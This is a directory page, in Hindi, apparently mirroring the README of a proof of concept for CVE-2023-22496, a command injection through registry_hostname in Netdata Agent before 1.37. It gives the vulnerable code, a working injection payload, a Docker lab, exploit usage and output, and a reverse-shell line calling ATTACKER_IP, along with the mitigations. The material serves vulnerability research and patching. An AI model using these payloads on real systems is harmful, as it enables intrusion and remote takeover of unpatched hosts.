Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-22496-PoC — CVE-2023-22496 के लिए PoC: registry_hostname के माध्यम से Netdata Agent <1.37 में OS Command Injection | Kitploit
उपकरण/GitHubGitHub/jstjep00/cve-2023-22496-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षालैब और अभ्यास
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

CVE-2023-22496 के लिए PoC: registry_hostname के माध्यम से Netdata Agent <1.37 में OS Command Injection

रिपॉजिटरी देखें
132 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-22496 — Netdata एजेंट OS कमांड इंजेक्शन PoC

गंभीरता: क्रांतिकारी (CVSS 9.8)
प्रभावित: Netdata Agent < 1.37.0
में ठीक किया गया: v1.37.0
प्रकार: OS कमांड इंजेक्शन (CWE-78)


अवलोकन

CVE-2023-22496 Netdata के स्वास्थ्य अलर्ट सूचना प्रणाली में एक OS कमांड इंजेक्शन भेद्यता है। स्ट्रीमिंग श्रृंखला में किसी भी नोड का registry_hostname बिना सैनिटाइजेशन के शेल कमांड में डाला जाता है। एक हमलावर जो Netdata कॉन्फिग फ़ाइल में registry hostname सेट कर सकता है, वह अलर्ट प्रोसेस करने वाले किसी भी पैरेंट नोड पर netdata प्रक्रिया उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।


भेद्यता विवरण

भेद्य कोड — health/health.c

root@kitploit:~
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd स्ट्रिंग को /bin/sh -c को पास करता है, जो इसे शेल के रूप में मूल्यांकन करता है। चूंकि registry_hostname कभी सैनिटाइज़ नहीं किया जाता, एक हमलावर मनमाने शेल कमांड इंजेक्ट कर सकता है।

बायपास: exec प्रक्रिया-प्रतिस्थापन

सामान्य इंजेक्शन `'; cmd; '` काम नहीं करता क्योंकि exec शेल बिल्टइन वर्तमान शेल प्रक्रिया को बदल देता है, इसलिए इंजेक्ट किया गया ;cmd; कभी पहुंच नहीं पाता।

कार्यशील बायपास — & (पृष्ठभूमि ऑपरेटर) का उपयोग करें:

root@kitploit:~
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

स्ट्रीमिंग हमला श्रृंखला

root@kitploit:~
┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

हमलावर को केवल स्ट्रीमिंग श्रृंखला में किसी भी नोड को नियंत्रित करने की आवश्यकता होती है। registry_hostname स्ट्रीम प्रोटोकॉल में प्रचारित किया जाता है और जब भी कोई पैरेंट नोड health_alarm_execute को कॉल करता है, तो हूबहू उपयोग किया जाता है।


रिपॉजिटरी संरचना

root@kitploit:~
CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

त्वरित आरंभ

पूर्वापेक्षाएँ

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 MB डिस्क (इमेज बिल्ड)
  • Docker बिल्ड के लिए इंटरनेट एक्सेस (Netdata v1.36.1 स्रोत डाउनलोड करता है)

चरण 1 — भेद्य Docker इमेज बनाएं

root@kitploit:~
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

चरण 2 — 3-नोड भेद्य वातावरण प्रारंभ करें

root@kitploit:~
docker compose up -d

Netdata को प्रारंभ होने में ~15 सेकंड प्रतीक्षा करें, फिर सत्यापित करें:

root@kitploit:~
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

चरण 3 — एक्सप्लॉइट चलाएं

root@kitploit:~
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

अपेक्षित आउटपुट:

root@kitploit:~
======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

रिवर्स शेल उदाहरण

root@kitploit:~
# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

कस्टम कमांड

root@kitploit:~
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

टियरडाउन

root@kitploit:~
# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

शमन

कार्रवाईविवरण
अपग्रेडNetdata Agent को ≥ v1.37.0 में अपडेट करें
प्रतिबंधित करेंnetdata.conf पर लिखने की पहुंच प्रतिबंधित करें
नेटवर्कस्ट्रीमिंग पोर्ट (19999/tcp) को केवल विश्वसनीय नेटवर्क तक सीमित करें
सत्यापित करेंnetdata --version — पुष्टि करें कि आप v1.37 से पहले के रिलीज़ पर नहीं हैं

v1.37.0 में फिक्स registry_hostname को शेल कमांड में डालने से पहले [a-zA-Z0-9._-] के बाहर के किसी भी वर्ण को अस्वीकार करके सैनिटाइज़ करता है।


संदर्भ

  • NVD — CVE-2023-22496
  • GitHub Security Advisory GHSA-qxg7-jvq3-7x6h
  • Netdata फिक्स कमिट
  • Netdata v1.37.0 रिलीज़

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। इस PoC को उन सिस्टमों पर चलाना जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते।

टूल डाउनलोड करें